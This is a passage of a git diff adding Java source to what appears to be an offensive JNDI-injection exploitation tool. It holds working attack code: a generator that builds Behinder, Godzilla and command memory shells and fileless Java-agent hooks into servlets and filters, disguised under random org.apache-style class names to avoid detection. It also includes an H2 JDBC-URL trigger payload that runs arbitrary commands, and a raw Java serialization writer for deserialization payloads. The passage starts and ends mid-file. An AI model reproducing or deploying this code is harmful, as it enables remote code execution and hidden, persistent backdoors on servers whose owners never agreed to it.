txt,但估计特征都被搞完了,这里自实现一个方法 + * 因为 apache 基金会的开源项目非常多,几乎大多数项目都会用到,所以看到 org.apache 包名的类也不会惊讶 + * 这里的逻辑是,获取目前项目中所有 org.apache 包下的类名,随机取两个,第一个取前三个包名,第二个取后三个包名进行拼接 + * + * @return 返回类型 + */ + public static String generateClassName() { + if (set == null) { + set = getClassSet("org.apache"); + } + Object[] array = set.toArray(); + + String name1 = array[(int) (Math.random() * array.length)].toString(); + String name2 = name1; + + while (name1.equals(name2)) { + name2 = array[(int) (Math.random() * array.length)].toString(); + } + + // 获取第一个包的前三个包名 + name1 = name1.substring(0, name1.indexOf(".", 11)); + + // 获取第二个包的后三个包名 + String temp = name2.substring(0, name2.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + name2 = name2.substring(temp.length()); + + String newName = name1 + name2; + + if (set.contains(newName)) { + return generateClassName(); + } else { + return newName; + } + } + + public static Set getClassSet(String packageName) { + Set classSet = new HashSet(); + try { + Enumeration urls = loader.getResources(packageName.replace(".", "/")); + while (urls.hasMoreElements()) { + URL url = urls.nextElement(); + if (url != null) { + String protocol = url.getProtocol(); + if (protocol.equals("jar")) { + JarURLConnection jarURLConnection = (JarURLConnection) url.openConnection(); + if (jarURLConnection != null) { + JarFile jarFile = jarURLConnection.getJarFile(); + if (jarFile != null) { + Enumeration jarEntries = jarFile.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry jarEntry = jarEntries.nextElement(); + String jarEntryName = jarEntry.getName(); + if (jarEntryName.endsWith(".class")) { + String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); + if (!className.contains("$") && className.startsWith(packageName)) { + classSet.add(className); + } + } + } + } + } + } else if (protocol.equals("file")) { + listClassesInDirectory(new File(url.getFile()), classSet, packageName); + } + } + } + } catch (Exception ignored) { + } + return classSet; + } + + // 方便不编译成 jar 时调试 + private static void listClassesInDirectory(File directory, Set classNames, String packageName) { + File[] files = directory.listFiles(); + if (files != null) { + for (File file : files) { + if (file.isDirectory()) { + listClassesInDirectory(file, classNames, packageName); + } else if (file.getName().endsWith(".class")) { + String fullName = file.getPath().replace(".class", ""); + String path = packageName.replace(".", "/"); + classNames.add(fullName.substring(fullName.replace("\\", "/").indexOf(path)).replace("/", ".")); + } + } + } + } + + public static String getHumanName(String className, String suffix) { + className = className.substring(className.lastIndexOf('.') + 1); + className = Character.toLowerCase(className.charAt(0)) + className.substring(1); + return className + suffix; + } + + + public static String searchClassByName(String name) { + Set set = getClassSet("com.qi4l.jndi.template."); + for (String fullName : set) { + if (fullName.endsWith(name)) { + return fullName.replace("\\", "."); + } + } + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.java b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.java new file mode 100644 index 0000000..5d6576c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.java @@ -0,0 +1,239 @@ +package com.qi4l.jndi.gadgets.utils.handle; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.Config.HookPointConfig; +import com.qi4l.jndi.gadgets.Config.MemShellPayloads; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Utils; +import javassist.CtClass; +import javassist.bytecode.*; +import org.apache.commons.codec.binary.Base64; + +import java.io.FileInputStream; +import java.util.List; + +public class GlassHandler { + public static CtClass generateClass(String target) throws Exception { + String newClassName = ClassNameHandler.generateClassName(); + CtClass ctClass = generateClass(target, newClassName); + + // 如果需要,保存类文件 + Utils.saveCtClassToFile(ctClass); + return ctClass; + } + + + public static CtClass generateClass(String target, String newClassName) throws Exception { + if (target.startsWith("EX-")) { + target = target.substring(3); + + // 内存马类型 + String shellType = ""; + String memShellName = ""; + Class memShellClazz = null; + + // 如果命令以 MS 开头,则代表是注入内存马 + if (target.startsWith("MS-")) { + target = target.substring(3); + + if (target.contains("-")) { + String[] commands = target.split("[-]"); + memShellName = commands[0]; + shellType = target.substring(target.indexOf("-") + 1); + } else { + memShellName = target; + shellType = "cmd"; + } + } else if (target.startsWith("Agent")) { + // 如果以 Agent 开头,则使用 AgentNoFile 动态进行 JavaAgent 注入 + // EX-Agent-Lin/Win-Servlet-bx + String[] commands = target.split("[-]"); + return generateAgentClass(commands[1], commands[2], commands.length > 3 ? commands[3] : ""); + } else { + // 否则是回显类,或者其他功能 + memShellName = target; + } + + String result = ClassNameHandler.searchClassByName(memShellName); + if (result != null) { + memShellClazz = Class.forName(result, false, Gadgets.class.getClassLoader()); + } else { + throw new IllegalArgumentException("Input Error,Please Check Your MemShell Name!"); + } + + return generateClass(memShellClazz, shellType, newClassName); + } + + // 如果命令以 LF- 开头 (Local File),则程序可以生成一个能加载本地指定类字节码并初始化的逻辑,后面跟文件路径-类名 + if (target.startsWith("LF-")) { + target = target.substring(3); + String filePath = target.contains("-") ? target.split("[-]")[0] : target; + CtClass ctClass = Config.POOL.makeClass(new FileInputStream(filePath)); + ctClass.setName(newClassName); + + // 对本地加载的类进行缩短操作 + shrinkBytes(ctClass); + + // 使用 ClassLoaderTemplate 进行加载 + return Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } + + return null; + } + + public static CtClass generateClass(Class clazz, String shellType, String newClassName) throws Exception { + + CtClass ctClass = null; + byte[] byteCodes = null; + + String exClassName = clazz.getName(); + ctClass = Config.POOL.get(exClassName); + + // 为 Echo 类添加 CMD_HEADER_STRING + ClassFieldHandler.insertFieldIfExists(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + ClassFieldHandler.converString(Config.CMD_HEADER_STRING) + ";"); + + // 为 DefineClassFromParameter 添加自定义函数功能 + ClassFieldHandler.insertFieldIfExists(ctClass, "parameter", "public static String parameter = " + ClassFieldHandler.converString(Config.PARAMETER) + ";"); + + // 为内存马添加名称 + ClassFieldHandler.insertFieldIfExists(ctClass, "NAME", "public static String NAME=" + ClassFieldHandler.converString(ClassNameHandler.getHumanName(newClassName, "Filter")) + ";"); + + // 为内存马添加地址 + ClassFieldHandler.insertFieldIfExists(ctClass, "pattern", "public static String pattern = " + ClassFieldHandler.converString(Config.URL_PATTERN) + ";"); + + // 根据不同的内存马类型,插入不同的方法、属性 + ClassMethodHandler.insertKeyMethodByClassName(ctClass, exClassName, shellType); + + // 为类设置新的类名 + ctClass.setName(newClassName); + + // 为 Struts2ActionMS 额外处理,防止框架找不到的情况 + ClassFieldHandler.insertFieldIfExists(ctClass, "thisClass", "public static String thisClass = \"" + Utils.base64Encode(ctClass.toBytecode()) + "\";"); + + shrinkBytes(ctClass); + byteCodes = ctClass.toBytecode(); + + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = Config.POOL.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameHandler.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(byteCodes) + "\";"; + String cName = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(cName); + + ctClass = newClass; + break; + } + } + + return ctClass; + } + + + public static CtClass generateAgentClass(String osType, String hookType, String args) throws Exception { + CtClass agent = Config.POOL.get(ClassNameHandler.searchClassByName("AgentLoaderTemplate")); + + // 准备 SuURLConnection/SuURLStreamHandler/Javassist Jar 包 + prepareMemoryJar(agent); + + // 根据选定的不同操作系统类型,准备不同的的 AgentNoFile 类 + String agentNoFileName = osType.equals("win") ? "AgentNoFileForWindows" : "AgentNoFileForLinux"; + prepareAgentNoFile(agentNoFileName, agent); + + // 准备要 Hook 的类名、方法、内容 + prepareClassModifier(agent, hookType, args); + + agent.setName(ClassNameHandler.generateClassName()); + + // 保存 + Utils.saveCtClassToFile(agent); + return agent; + } + + public static void prepareMemoryJar(CtClass templateClass) throws Exception { + // 首先将 SuURLConnection/SuURLStreamHandler 改名 + final String nameA = ClassNameHandler.searchClassByName("SuURLConnection"); + final String newNameA = ClassNameHandler.generateClassName(); + final String nameB = ClassNameHandler.searchClassByName("SuURLStreamHandler"); + final String newNameB = ClassNameHandler.generateClassName(); + CtClass ctClassA = Config.POOL.get(nameA); + ctClassA.setName(newNameA); + CtClass ctClassB = Config.POOL.get(nameB); + ctClassB.setName(newNameB); + + ClassFieldHandler.insertField(ctClassA, "STREAM_HANDLER_CLASSNAME", "public static String STREAM_HANDLER_CLASSNAME = \"" + newNameB + "\";"); + ClassFieldHandler.insertField(ctClassB, "URL_CONNECTION_CLASSNAME", "public static String URL_CONNECTION_CLASSNAME = \"" + newNameA + "\";"); + + shrinkBytes(ctClassA); + shrinkBytes(ctClassB); + + ClassFieldHandler.insertField(templateClass, "SU_URL_CONNECTION_BYTES", "public static String SU_URL_CONNECTION_BYTES = \"" + Utils.base64Encode(ctClassA.toBytecode()) + "\";"); + ClassFieldHandler.insertField(templateClass, "SU_URL_STREAM_HANDLER_BYTES", "public static String SU_URL_STREAM_HANDLER_BYTES = \"" + Utils.base64Encode(ctClassB.toBytecode()) + "\";"); + } + + public static void prepareAgentNoFile(String className, CtClass templateClass) throws Exception { + CtClass agentNoFile = Config.POOL.get(ClassNameHandler.searchClassByName(className)); + shrinkBytes(agentNoFile); + agentNoFile.setName(ClassNameHandler.generateClassName()); + ClassFieldHandler.insertField(templateClass, "AGENT_NO_FILE_BYTES", "public static String AGENT_NO_FILE_BYTES = \"" + Utils.base64Encode(agentNoFile.toBytecode()) + "\";"); + } + + + public static void prepareClassModifier(CtClass templateClass, String hookType, String args) throws Exception { + CtClass classModifier = Config.POOL.get(ClassNameHandler.searchClassByName("ClassModifier")); + String shell = ""; + + // 插入 Hook 点 + if (hookType.equals("Servlet")) { + // 插入 Hook Class 基本信息 + ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.BasicServletHook); + } else if (hookType.equals("Filter")) { + ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.TomcatFilterChainHook); + } + + // 如果是冰蝎逻辑 + if (args.equals("bx")) { + shell = Utils.base64Decode(MemShellPayloads.BEHINDER_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD); + } else if (args.equals("gz")) { + shell = Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD_ORI, Config.GODZILLA_KEY); + } else if (args.equals("gzraw")) { + shell = Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.GODZILLA_KEY); + } else { + // 默认 cmd 逻辑 + shell = Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.CMD_HEADER_STRING); + } + // 替换密码,添加 Shell Code + ClassFieldHandler.insertField(classModifier, "HOOK_METHOD_CODE", "public static String HOOK_METHOD_CODE = \"" + Utils.base64Encode(shell.getBytes()) + "\";"); + + shrinkBytes(classModifier); + classModifier.setName(ClassNameHandler.generateClassName()); + ClassFieldHandler.insertField(templateClass, "CLASS_MODIFIER_BYTES", "public static String CLASS_MODIFIER_BYTES = \"" + Utils.base64Encode(classModifier.toBytecode()) + "\";"); + } + + // 统一处理,删除一些不影响使用的 Attribute 降低类字节码的大小 + public static void shrinkBytes(CtClass ctClass) { + ClassFile classFile = ctClass.getClassFile2(); + classFile.removeAttribute(SourceFileAttribute.tag); + classFile.removeAttribute(LineNumberAttribute.tag); + classFile.removeAttribute(LocalVariableAttribute.tag); + classFile.removeAttribute(LocalVariableAttribute.typeTag); + classFile.removeAttribute(DeprecatedAttribute.tag); + classFile.removeAttribute(SignatureAttribute.tag); + classFile.removeAttribute(StackMapTable.tag); + + List list = classFile.getMethods(); + for (MethodInfo info : list) { + info.removeAttribute("RuntimeVisibleAnnotations"); + info.removeAttribute("RuntimeInvisibleAnnotations"); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jdbc/jdbcutils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jdbc/jdbcutils.java new file mode 100644 index 0000000..6399461 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jdbc/jdbcutils.java @@ -0,0 +1,20 @@ +package com.qi4l.jndi.gadgets.utils.jdbc; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; + +public class jdbcutils { + public static Reference dbcpByFactory(String factory, String cmd) { + Reference ref = new Reference("javax.sql.DataSource", factory, null); + String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + + "java.lang.Runtime.getRuntime().exec('" + cmd + " ')\n" + + "$$\n"; + ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); + ref.add(new StringRefAddr("url", JDBC_URL)); + ref.add(new StringRefAddr("username", "root")); + ref.add(new StringRefAddr("password", "password")); + ref.add(new StringRefAddr("initialSize", "1")); + return ref; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.java new file mode 100644 index 0000000..6f71442 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.java @@ -0,0 +1,49 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +public class HandleContainer { + private static Method lookup; + private static Method assign; + + static { + try { + Class cls = Class.forName("java.io.ObjectOutputStream$HandleTable"); + assign = cls.getDeclaredMethod("assign", new Class[]{Object.class}); + assign.setAccessible(true); + lookup = cls.getDeclaredMethod("lookup", new Class[]{Object.class}); + lookup.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private Object handle; + + public HandleContainer(Object handle) { + this.handle = handle; + } + + public int getHandle(Object obj) { + try { + return ((Integer) lookup.invoke(this.handle, new Object[]{obj})).intValue(); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + return -1; + } + + public void putHandle(Object obj) { + if (getHandle(obj) == -1) + try { + assign.invoke(this.handle, new Object[]{obj}); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.java new file mode 100644 index 0000000..bb50aa4 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.java @@ -0,0 +1,21 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public abstract class ReferencableObject { + public Object getHandleObject() { + return this; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + if (handles.getHandle(getHandleObject()) != -1) { + TCReference reference = new TCReference(handles.getHandle(getHandleObject())); + reference.write(out, handles); + } else { + doWrite(out, handles); + handles.putHandle(getHandleObject()); + } + } + + public abstract void doWrite(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Serialization.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Serialization.java new file mode 100644 index 0000000..e59232d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Serialization.java @@ -0,0 +1,143 @@ +package com.qi4l.jndi.gadgets.utils.jre; + + +import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.util.ArrayList; +import java.util.List; + +public class Serialization { + private List objects = new ArrayList(); + + private Object handle; + + private TCBlockData blockData; + + public Serialization() { + try { + ObjectOutputStream output = new ObjectOutputStream(new ByteOutputStream()); + Field f = output.getClass().getDeclaredField("handles"); + f.setAccessible(true); + this.handle = f.get(output); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field f = obj.getClass().getDeclaredField(fieldName); + f.setAccessible(true); + if (Modifier.isFinal(f.getModifiers())) { + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & 0xFFFFFFEF); + } + f.set(obj, value); + } + + public void addObject(Object obj) throws Exception { + addObject(obj, false); + } + + public void addObject(Object obj, boolean block) throws Exception { + if (obj instanceof TCObject) { + TCObject tco = (TCObject) obj; + if (tco.size() == 0) + throw new Exception("no class_desc/data in TCObject"); + } + this.objects.add(new Data(block, obj)); + } + + public void write(String path) throws Exception { + write(new File(path)); + } + + public void write(File path) throws Exception { + write(new FileOutputStream(path)); + } + + public void write(OutputStream o) throws Exception { + if (this.objects.size() == 0) + throw new Exception("no objects in serialization"); + DataOutputStream out = new DataOutputStream(o); + out.writeShort(-21267); + out.writeShort(5); + HandleContainer handles = new HandleContainer(this.handle); + for (Data data : this.objects) { + if (!data.block) + writeBlockData(out, handles); + Object obj = data.data; + if (obj instanceof SerializedElement) { + ((SerializedElement) obj).write(out, handles); + continue; + } + treatObject(out, obj, handles, data.block); + } + writeBlockData(out, handles); + out.close(); + } + + protected void writeBlockData(DataOutputStream out, HandleContainer handles) throws Exception { + if (this.blockData != null) { + this.blockData.write(out, handles); + this.blockData = null; + } + } + + public void treatObject(DataOutputStream out, Object obj, HandleContainer handles, boolean blockData) throws Exception { + if (blockData) { + if (this.blockData == null) + this.blockData = new TCBlockData(); + this.blockData.append(obj); + return; + } + writeBlockData(out, handles); + if (obj instanceof Byte) { + out.writeByte(((Byte) obj).byteValue()); + } else if (obj instanceof Short) { + out.writeShort(((Short) obj).shortValue()); + } else if (obj instanceof Integer) { + out.writeInt(((Integer) obj).intValue()); + } else if (obj instanceof Long) { + out.writeLong(((Long) obj).longValue()); + } else if (obj instanceof Float) { + out.writeFloat(((Float) obj).floatValue()); + } else if (obj instanceof Double) { + out.writeDouble(((Double) obj).doubleValue()); + } else if (obj instanceof Character) { + out.writeChar(((Character) obj).charValue()); + } else if (obj instanceof String || obj instanceof TCString) { + TCString s = (obj instanceof TCString) ? (TCString) obj : TCString.getInstance(obj.toString()); + s.write(out, handles); + } else if (obj instanceof TCObject) { + TCObject o = (TCObject) obj; + o.write(out, handles); + } else { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + ObjectOutputStream objout = getPatchedOutputStream(byteout); + TCJavaObject o = new TCJavaObject(obj, byteout, objout); + o.write(out, handles); + } + } + + private ObjectOutputStream getPatchedOutputStream(ByteArrayOutputStream out) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(out); + setFieldValue(oos, "handles", this.handle); + return oos; + } + + private class Data { + + private boolean block; + + private Object data; + + public Data(boolean block, Object data) { + this.block = block; + this.data = data; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.java new file mode 100644 index 0000000..0c2bcd2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.java @@ -0,0 +1,8 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public interface SerializedElement { + + void write(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.java new file mode 100644 index 0000000..ac9b9b3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.java @@ -0,0 +1,43 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; + +public class TCBlockData implements SerializedElement { + private ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); + + private DataOutputStream out = new DataOutputStream(this.byteOut); + + public void append(Object data) throws Exception { + if (data instanceof Integer) { + this.out.writeInt(((Integer) data).intValue()); + } else if (data instanceof Short) { + this.out.writeShort(((Short) data).shortValue()); + } else if (data instanceof Long) { + this.out.writeLong(((Long) data).longValue()); + } else if (data instanceof Byte) { + this.out.writeByte(((Byte) data).byteValue()); + } else if (data instanceof Character) { + this.out.writeChar(((Character) data).charValue()); + } else if (data instanceof char[]) { + this.out.writeChars(new String((char[]) data)); + } else if (data instanceof String) { + this.out.writeUTF((String) data); + } else if (data instanceof Float) { + this.out.writeFloat(((Float) data).floatValue()); + } else if (data instanceof Double) { + this.out.writeDouble(((Double) data).doubleValue()); + } else if (data instanceof Boolean) { + this.out.writeBoolean(((Boolean) data).booleanValue()); + } + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(119); + byte[] data = this.byteOut.toByteArray(); + out.writeByte(data.length); + out.write(data); + this.byteOut.close(); + this.out.close(); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.java new file mode 100644 index 0000000..93d63be --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.java @@ -0,0 +1,134 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class TCClassDesc extends ReferencableObject implements SerializedElement { + private String className; + + private long serialVersionUID; + + private byte classDescFlags; + + private List fields = new ArrayList(); + + protected TCClassDesc() { + } + + public TCClassDesc(String className) throws Exception { + this(className, -1L, (byte) 0); + } + + public TCClassDesc(String className, long serialVersionUID) throws Exception { + this(className, serialVersionUID, (byte) 0); + } + + public TCClassDesc(String className, byte classDescFlags) throws Exception { + this(className, -1L, classDescFlags); + } + + public TCClassDesc(String className, long serialVersionUID, byte classDescFlags) throws Exception { + this.className = className; + this.serialVersionUID = (serialVersionUID != -1L) ? serialVersionUID : getSerialVersionUID(); + this.classDescFlags = (classDescFlags != 0) ? classDescFlags : getClassDescFlags(); + } + + public int getFieldsCount() { + return this.fields.size(); + } + + private long getSerialVersionUID() throws Exception { + Class cls = Class.forName(this.className); + java.lang.reflect.Field f = cls.getDeclaredField("serialVersionUID"); + if (f == null) + return -1L; + f.setAccessible(true); + return Long.valueOf(f.get((Object) null).toString()).longValue(); + } + + private byte getClassDescFlags() throws Exception { + Class cls = Class.forName(this.className); + byte b = 0; + if (Serializable.class.isAssignableFrom(cls)) + b = (byte) (b | 0x2); + try { + if (cls.getDeclaredMethod("writeObject", new Class[]{ObjectOutputStream.class}) != null) + b = (byte) (b | 0x1); + } catch (Exception exception) { + } + return b; + } + + public boolean hasWriteObject() { + return ((this.classDescFlags & 0x1) != 0); + } + + public TCClassDesc addField(Field field) { + this.fields.add(field); + return this; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + if (handles.getHandle(this) != -1) { + TCReference reference = new TCReference(handles.getHandle(this)); + reference.write(out, handles); + throw new Exception("stop"); + } + super.write(out, handles); + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(114); + out.writeUTF(this.className); + out.writeLong(this.serialVersionUID); + out.writeByte(this.classDescFlags); + out.writeShort(this.fields.size()); + handles.putHandle(getHandleObject()); + for (Field field : this.fields) + field.write(out, handles); + out.writeByte(120); + } + + public static class Field implements SerializedElement { + + private String name; + + private Class type; + + public Field(String name, Class type) { + this.name = name; + this.type = type; + } + + private byte getTypeByte() throws Exception { + Map, Byte> bytes = new HashMap, Byte>(); + bytes.put(byte.class, Byte.valueOf((byte) 66)); + bytes.put(char.class, Byte.valueOf((byte) 67)); + bytes.put(double.class, Byte.valueOf((byte) 68)); + bytes.put(float.class, Byte.valueOf((byte) 70)); + bytes.put(int.class, Byte.valueOf((byte) 73)); + bytes.put(long.class, Byte.valueOf((byte) 74)); + bytes.put(short.class, Byte.valueOf((byte) 83)); + bytes.put(boolean.class, Byte.valueOf((byte) 90)); + Byte b = bytes.get(this.type); + if (b == null) + b = Byte.valueOf((byte) 76); + return b.byteValue(); + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + byte b = getTypeByte(); + out.writeByte(b); + out.writeUTF(this.name); + if (b == 76) { + TCString s = TCString.getInstance((char) b + this.type.getName().replace('.', '/') + ";"); + s.write(out, handles); + } + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.java new file mode 100644 index 0000000..7123333 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.java @@ -0,0 +1,29 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.ObjectOutputStream; + +public class TCJavaObject extends ReferencableObject implements SerializedElement { + private ObjectOutputStream objOut; + + private ByteArrayOutputStream byteOut; + + private Object obj; + + public TCJavaObject(Object obj, ByteArrayOutputStream byteOut, ObjectOutputStream objOut) { + this.obj = obj; + this.byteOut = byteOut; + this.objOut = objOut; + } + + public Object getHandleObject() { + return this.obj; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + ObjectOutputStream oos = this.objOut; + oos.writeObject(this.obj); + out.write(this.byteOut.toByteArray(), 4, this.byteOut.size() - 4); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCNull.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCNull.java new file mode 100644 index 0000000..5de092b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCNull.java @@ -0,0 +1,9 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public class TCNull implements SerializedElement { + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(112); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCObject.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCObject.java new file mode 100644 index 0000000..e9313ae --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCObject.java @@ -0,0 +1,129 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.ArrayList; +import java.util.List; + +public class TCObject extends ReferencableObject implements SerializedElement { + private Serialization ser; + + private List descData; + + public TCObject(Serialization ser) { + this.descData = new ArrayList(); + this.ser = ser; + } + + public int size() { + return this.descData.size(); + } + + public TCObject addClassDescData(TCClassDesc desc, ObjectData data) throws Exception { + return addClassDescData(desc, data, false); + } + + public TCObject addClassDescData(TCClassDesc desc, ObjectData data, boolean ignoreEquality) throws Exception { + if (!ignoreEquality && + desc.getFieldsCount() != data.size()) + throw new Exception("not enough fields/data, fields count: " + desc.getFieldsCount() + ", data count: " + data.size()); + data.setSer(this.ser); + this.descData.add(new ClassDescData(desc, data)); + return this; + } + + protected void writeHeader(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(115); + } + + protected void writeClassDescs(DataOutputStream out, HandleContainer handles) throws Exception { + try { + for (int i = 0; i < this.descData.size(); i++) { + ClassDescData d = this.descData.get(i); + d.getDesc().write(out, handles); + } + out.writeByte(112); + } catch (Exception e) { + if (!e.getMessage().equals("stop")) + e.printStackTrace(); + } + } + + protected void writeClassData(DataOutputStream out, HandleContainer handles) throws Exception { + for (int i = this.descData.size() - 1; i >= 0; i--) { + ClassDescData d = this.descData.get(i); + d.getData().write(out, handles); + if (d.getDesc().hasWriteObject()) { + this.ser.writeBlockData(out, handles); + out.writeByte(120); + } + } + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + writeHeader(out, handles); + writeClassDescs(out, handles); + handles.putHandle(getHandleObject()); + writeClassData(out, handles); + } + + private static class ClassDescData { + + private TCClassDesc desc; + + private TCObject.ObjectData data; + + public ClassDescData(TCClassDesc desc, TCObject.ObjectData data) { + this.desc = desc; + this.data = data; + } + + public TCClassDesc getDesc() { + return this.desc; + } + + public TCObject.ObjectData getData() { + return this.data; + } + } + + public static class ObjectData implements SerializedElement { + + private List data = new ArrayList(); + private Serialization ser; + + public void setSer(Serialization ser) { + this.ser = ser; + } + + public int size() { + return this.data.size(); + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + for (Data d : this.data) + this.ser.treatObject(out, d.data, handles, d.block); + } + + public ObjectData addData(Object obj) { + addData(obj, false); + return this; + } + + public ObjectData addData(Object obj, boolean block) { + this.data.add(new Data(block, obj)); + return this; + } + + private class Data { + + private boolean block; + + private Object data; + + public Data(boolean block, Object data) { + this.block = block; + this.data = data; + } + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.java new file mode 100644 index 0000000..68581a5 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.java @@ -0,0 +1,22 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import 